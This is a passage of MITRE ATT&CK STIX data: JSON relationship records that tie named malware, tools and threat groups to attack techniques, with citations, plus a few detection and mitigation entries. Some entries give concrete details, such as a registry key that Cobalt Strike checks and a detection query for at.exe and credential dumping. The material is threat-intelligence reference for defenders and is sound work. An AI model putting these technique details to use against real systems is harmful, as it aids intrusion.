service.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e12d3f8-6c2b-4622-889e-63c9abcff04b","created":"2021-04-07T14:48:18.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.841Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can query HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\\Excel\\Security\\AccessVBOM\\ to determine if the security setting for restricting default programmatic access is enabled.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e140ad6-3e95-41fb-893d-644316fdccbf","type":"relationship","created":"2021-11-30T19:34:54.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T19:34:54.229Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can check for the presence of specific security products.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e17260d-d028-4d6b-9a45-4e767ecb88c3","type":"relationship","created":"2020-06-19T21:25:43.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.939Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to communicate with its C2 over HTTP.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e1a4560-f9da-4729-a364-dade6bb2cdc2","created":"2021-10-01T01:57:31.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.711Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for security products on infected machines.(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e1c15c8-ba96-47b8-9feb-fade45d7fcf9","type":"relationship","created":"2020-05-20T19:54:06.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.848Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can execute various Windows commands.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e1cab5a-7a82-4116-8727-d77200f52419","type":"relationship","created":"2020-01-24T14:14:05.642Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:14:05.642Z","relationship_type":"revoked-by","source_ref":"attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e1cc8cd-8344-4ba4-9d61-05e63b54bc6b","type":"relationship","created":"2021-09-24T21:47:23.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT Trends Q2 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.","url":"https://securelist.com/apt-trends-report-q2-2017/79332/"}],"modified":"2021-09-24T21:47:23.060Z","description":"(Citation: Securelist APT Trends Q2 2017)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e21def7-2c70-47f8-90f5-0238048ae15f","type":"relationship","created":"2020-03-27T21:53:01.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.146Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use built-in modules to abuse trusted utilities like MSBuild.exe.(Citation: Github PowerShell Empire)\n","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e24b237-b2a1-4d48-ae32-fd0b2d345a74","created":"2024-01-23T19:24:42.988Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:24:42.988Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used `ping %REMOTE_HOST%` for post exploit discovery.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"}],"modified":"2021-11-02T21:07:07.625Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) collected and exfiltrated files from the infected system.(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e29807a-833f-46cd-abfe-3133daa8f7fb","created":"2024-08-27T21:09:32.328Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:09:32.328Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) deleted files related to initial installation such as temporary files related to the PID of the main web process.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e29c8f6-8155-47b3-9704-1ba93586af3a","created":"2024-08-27T21:02:43.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:10:18.657Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) was delivered as a Java Archive (JAR) that runs by attaching itself to the Apache Tomcat Java servlet and web server.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e2b7383-c6dc-40c1-bb88-3176ff98c9dc","type":"relationship","created":"2020-12-23T13:37:53.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-23T13:37:53.541Z","description":"[DropBook](https://attack.mitre.org/software/S0547) can unarchive data downloaded from the C2 to obtain the payload and persistence modules.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8e2cd29d-5d72-450d-8697-d7121e1b2e8d","created":"2022-04-18T13:58:40.727Z","x_mitre_version":"0.1","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can collect clear text web credentials for Internet Explorer/Edge.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T13:58:40.727Z","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e324a04-e543-4eed-bf21-cdf446d8f8f6","type":"relationship","created":"2020-05-18T20:04:59.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T20:04:59.455Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to employ a custom PowerShell script.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e34d10d-0c24-41c6-8bde-727768256479","type":"relationship","created":"2020-08-13T14:58:25.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.121Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can inject a suspended thread of its own process into a new process and initiate via the ResumeThread API.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e3949cd-d3cf-47a6-ae5c-6afdff8c04d0","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:48:52.916Z","description":"Monitor executed commands and arguments that may perform sudo caching and/or use the sudoers file to elevate privileges, such as the sudo command.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e5310df-b8df-49da-9ae0-dc6c3806e706","created":"2024-03-28T20:34:30.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T20:42:11.799Z","description":"[PITSTOP](https://attack.mitre.org/software/S1123) has the ability to receive shell commands over a Unix domain socket.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--d79b1800-3b5d-4a4f-8863-8251eca793e2","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e567361-e2de-4dc6-b953-ec82dc143f58","type":"relationship","created":"2019-06-21T16:28:45.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-05T21:40:28.428Z","description":"If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e575d01-2a20-4718-b95c-f9af3a200da0","created":"2024-09-17T18:13:41.314Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:13:41.314Z","description":"[TA578](https://attack.mitre.org/groups/G1038) has placed malicious links in contact forms on victim sites, often spoofing a copyright complaint, to redirect users to malicious file downloads.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e620d3d-6766-4f26-a6ae-d7fd1276916f","type":"relationship","created":"2020-02-17T13:14:31.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T18:25:13.909Z","description":"The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e685821-98a3-42a0-9c6a-334a8ff078d4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"},{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.377Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can list security software, such as by using WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e69c855-db70-4b5e-866b-f9ce0b786156","type":"relationship","created":"2017-05-31T21:33:27.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-07-25T17:52:06.542Z","description":"Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of watching the victim's screen.(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e69eee2-ee5b-4db2-a39e-4446be3afc8f","created":"2024-07-30T14:04:11.503Z","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:04:11.503Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) created dedicated web pages mimicking legitimate government websites to deliver malicious fake anti-virus software.(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e6b0e34-a33c-4a04-bbe8-bb1b73894167","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:26:11.030Z","description":"Monitor for newly executed processes that may be indicative of credential dumping. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for any instances of [at](https://attack.mitre.org/software/S0110) being created, therefore implying the querying or creation of tasks. If this tools is commonly used in your environment (e.g., by system administrators) this may lead to false positives and this analytic will therefore require tuning. \n\nAnalytic 1 - Suspicious Process Execution\n\n (sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") AND Image=\"*at.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e6cbb16-a5cb-4957-8654-dfde2471c3de","type":"relationship","created":"2020-06-11T16:28:58.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots July 2017","url":"https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/","description":"Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020."}],"modified":"2020-06-11T16:28:58.231Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) used a backdoor which could execute a supplied DLL using rundll32.exe.(Citation: ESET Telebots July 2017)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8e6e2f98-695a-462b-b9b1-c3d0c453e471","created":"2022-08-09T18:28:31.261Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) has the ability to install itself as a service.(Citation: Unit 42 PingPull Jun 